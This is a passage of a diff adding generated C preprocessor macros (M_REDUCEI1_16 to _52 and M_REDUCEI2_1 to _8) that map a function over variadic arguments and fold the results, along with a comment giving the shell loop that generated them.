+#define M_REDUCEI1_16(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), f(_16))))))))))))))))
+#define M_REDUCEI1_17(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), f(_17)))))))))))))))))
+#define M_REDUCEI1_18(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), f(_18))))))))))))))))))
+#define M_REDUCEI1_19(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), f(_19)))))))))))))))))))
+#define M_REDUCEI1_20(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), f(_20))))))))))))))))))))
+#define M_REDUCEI1_21(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), f(_21)))))))))))))))))))))
+#define M_REDUCEI1_22(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), f(_22))))))))))))))))))))))
+#define M_REDUCEI1_23(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), f(_23)))))))))))))))))))))))
+#define M_REDUCEI1_24(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), f(_24))))))))))))))))))))))))
+#define M_REDUCEI1_25(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), f(_25)))))))))))))))))))))))))
+#define M_REDUCEI1_26(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), f(_26))))))))))))))))))))))))))
+#define M_REDUCEI1_27(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), f(_27)))))))))))))))))))))))))))
+#define M_REDUCEI1_28(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), f(_28))))))))))))))))))))))))))))
+#define M_REDUCEI1_29(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), f(_29)))))))))))))))))))))))))))))
+#define M_REDUCEI1_30(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), f(_30))))))))))))))))))))))))))))))
+#define M_REDUCEI1_31(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), f(_31)))))))))))))))))))))))))))))))
+#define M_REDUCEI1_32(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), f(_32))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_33(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), f(_33)))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_34(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), f(_34))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_35(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), f(_35)))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_36(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), f(_36))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_37(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), f(_37)))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_38(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), f(_38))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_39(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), f(_39)))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_40(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), f(_40))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_41(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), f(_41)))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_42(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), f(_42))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_43(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), f(_43)))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_44(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), f(_44))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_45(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), f(_45)))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_46(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), f(_46))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_47(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), f(_47)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_48(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), f(_48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_49(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), f(_49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_50(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), g(f(_49), f(_50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_51(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), g(f(_49), g(f(_50), f(_51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI1_52(f, g, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(_1), g(f(_2), g(f(_3), g(f(_4), g(f(_5), g(f(_6), g(f(_7), g(f(_8), g(f(_9), g(f(_10), g(f(_11), g(f(_12), g(f(_13), g(f(_14), g(f(_15), g(f(_16), g(f(_17), g(f(_18), g(f(_19), g(f(_20), g(f(_21), g(f(_22), g(f(_23), g(f(_24), g(f(_25), g(f(_26), g(f(_27), g(f(_28), g(f(_29), g(f(_30), g(f(_31), g(f(_32), g(f(_33), g(f(_34), g(f(_35), g(f(_36), g(f(_37), g(f(_38), g(f(_39), g(f(_40), g(f(_41), g(f(_42), g(f(_43), g(f(_44), g(f(_45), g(f(_46), g(f(_47), g(f(_48), g(f(_49), g(f(_50), g(f(_51), f(_52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Map a macro to all given arguments and reduce all theses computation
+   with another reduce macro with an argument:
+   Example:
+    M_REDUCE2(f, g, data, a, b, c) ==> g( f(data,a), g( f(data, b), f(data, c)))
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_REDUCEI2_%d(f,g,d," $i ; for j in $(seq 1 $(($i - 1))) ; do printf "_%d, " $j ; done ; printf "_%d) " $i ; for j in $(seq 1 $(($i - 1))) ; do printf "g(f(d, _%d), " $j ; done ; printf "f(d, _%d)" $i ; for j in $(seq 1 $(( $i - 1 ))); do printf ")" ; done ; printf "\n" ; done
+ */
+#define M_REDUCE2(...)                    M_REDUCEI2_0(__VA_ARGS__)
+#define M_REDUCEI2_0(f, g, d, ...)        M_C(M_REDUCEI2_, M_NARGS(__VA_ARGS__))(f, g, d, __VA_ARGS__)
+#define M_REDUCEI2_1(f,g,d,_1) f(d, _1)
+#define M_REDUCEI2_2(f,g,d,_1, _2) g(f(d, _1), f(d, _2))
+#define M_REDUCEI2_3(f,g,d,_1, _2, _3) g(f(d, _1), g(f(d, _2), f(d, _3)))
+#define M_REDUCEI2_4(f,g,d,_1, _2, _3, _4) g(f(d, _1), g(f(d, _2), g(f(d, _3), f(d, _4))))
+#define M_REDUCEI2_5(f,g,d,_1, _2, _3, _4, _5) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), f(d, _5)))))
+#define M_REDUCEI2_6(f,g,d,_1, _2, _3, _4, _5, _6) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), f(d, _6))))))
+#define M_REDUCEI2_7(f,g,d,_1, _2, _3, _4, _5, _6, _7) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), f(d, _7)))))))
+#define M_REDUCEI2_8(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), f(d, _8))))))))
